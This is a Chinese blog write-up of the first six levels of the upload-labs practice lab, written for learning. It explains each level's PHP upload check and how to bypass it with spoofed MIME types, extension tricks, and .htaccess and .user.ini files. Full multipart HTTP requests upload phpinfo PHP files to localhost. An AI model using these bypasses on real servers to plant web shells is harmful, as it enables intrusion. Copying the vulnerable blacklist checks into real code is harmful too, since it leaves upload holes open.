upload-labs靶场小计

Introduction:

  • Repo Address: https://github.com/c0ny1/upload-labs
  • Description:upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

正文开始

Pass-01

源码分析:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

在源码中我们可以看到其在客户端使用了js对不合法图片进行了检查,因此只需要在Firefox浏览器中禁用js即可绕过

Pass-02

源码分析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

在源码的type一处我们得知其对文件的类型做了限制,我们可以用BurpSuite或Yakit把数据包拉下来,然后将文件类型修改为对应的类型即可绕过

payload:
POST /upload-labs/Pass-02/index.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Referer: http://127.0.0.1/upload-labs/Pass-02/index.php
Origin: http://127.0.0.1
Sec-Fetch-User: ?1
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9OENpdlcocFeQ6oY
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-platform: "Windows"
Content-Length: 325

------WebKitFormBoundary9OENpdlcocFeQ6oY
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/png

<?php phpinfo(); ?> 
------WebKitFormBoundary9OENpdlcocFeQ6oY
Content-Disposition: form-data; name="submit"


------WebKitFormBoundary9OENpdlcocFeQ6oY--

Pass-03

源码分析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

观察后发现其仅过滤了asp,aspx,phpjsp这四种后缀名,这里举一个例子php->phtml以混淆视听

payload:
POST /upload-labs/Pass-03/index.php HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Referer: http://127.0.0.1/upload-labs/Pass-03/index.php
Sec-Fetch-Dest: document
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAl4mS15DQA2JvZiO
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Origin: http://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-platform: "Windows"
Content-Length: 325

------WebKitFormBoundaryAl4mS15DQA2JvZiO
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Phtml"
Content-Type: application/octet-stream

<?php phpinfo(); ?> 
------WebKitFormBoundaryAl4mS15DQA2JvZiO
Content-Disposition: form-data; name="submit"

------WebKitFormBoundaryAl4mS15DQA2JvZiO--

Pass-04

源码分析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在这里我们可以观察出其过滤了很多后缀名,其次转换大小写使得我们无法通过混淆大小写以绕过,但是其中的去除字符串::$DATA收尾去空使得我们可以用类似于双后缀的方法绕过,这样它会把后面那个后缀吃掉而只保留前面的后缀,且只验证被吃掉的那个后缀,最终成功解析

POST /upload-labs/Pass-04/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVUBAzK6LwIFArjzI
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1/upload-labs/Pass-04/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Fetch-Site: same-origin
Origin: http://127.0.0.1
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 325

------WebKitFormBoundaryVUBAzK6LwIFArjzI
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php.jpg"
Content-Type: application/octet-stream

<?php phpinfo(); ?> 
------WebKitFormBoundaryVUBAzK6LwIFArjzI
Content-Disposition: form-data; name="submit"

------WebKitFormBoundaryVUBAzK6LwIFArjzI--

在此我们认识到了一个更加有效的对抗文件上传漏洞的方案——以白名单代替黑名单

Pass-05

源码分析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里我们乍一看跟上面第四关的源码好像是一摸一样的,但是其pass的思路不大相同,再看看提示
提示:上传目录存在php文件(readme.php)
笔者的第一想法可能是设计”文件包含(include)”,有了大致思路我们可以再想想应该如何去include这个存在我们的一句话或者是phpinfo的文件并将其正常解析,以传统的经验来看我们可以尝试着上传.htaccess文件,以下笔者在此阐述什么是.htaccess文件以及为什么要这样去做

首先看看ChatGPT给出的解释

What is ".htaccess"

于是我们得知:.htaccess是运行 Apache(以及兼容服务器,如 LiteSpeed)的 Web 服务器使用的配置文件,用于控制服务器行为的各个方面

既然它可以控制服务器,而上传点又未进行过滤,于是我们可以构造出内容为以下的.htaccess文件

<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个文件的内容的意思是告诉Apache当检测到test.jpg文件时,将该文件按照php去解析,于是可以通过此方法getshell

Pass-06

源码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们可以在里面发现其在第五关的基础上还过滤了htaccess文件,但是还是有方法解析,在此笔者介绍一个方法,使用.user.ini

What is ".user.ini"

.user.ini文件是一个 PHP 配置文件,主要用于共享主机环境(例如基于 cPanel 的服务器),它允许按目录覆盖 PHP 配置,类似于 .htaccessApache 的工作方式

因此我们的知.user.ini的功能大致和.htaccess的作用是一样的,都能够实现对服务器主机的一些操作,于是我们构造以下内容的.user.ini文件

auto_prepend_file=666.jpg

这个文件的内容的意思是,所有的PHP都自动包含666.jpg文件,于是这样就构成了文件包含(file_include)漏洞,最终实现解析。

这次小计的内容到此结束,通过以上和后面的剩余关卡,大致总结出的思路有:前端、多后缀/后缀混淆、大小写、上传配置文件和各类图片马制作以构造文件包含漏洞实现解析,进一步getshell


upload-labs靶场小计
https://zer0ptr.github.io/2025/06/17/upload-labs靶场小计/
Author
zer0ptr
Posted on
June 17, 2025
Licensed under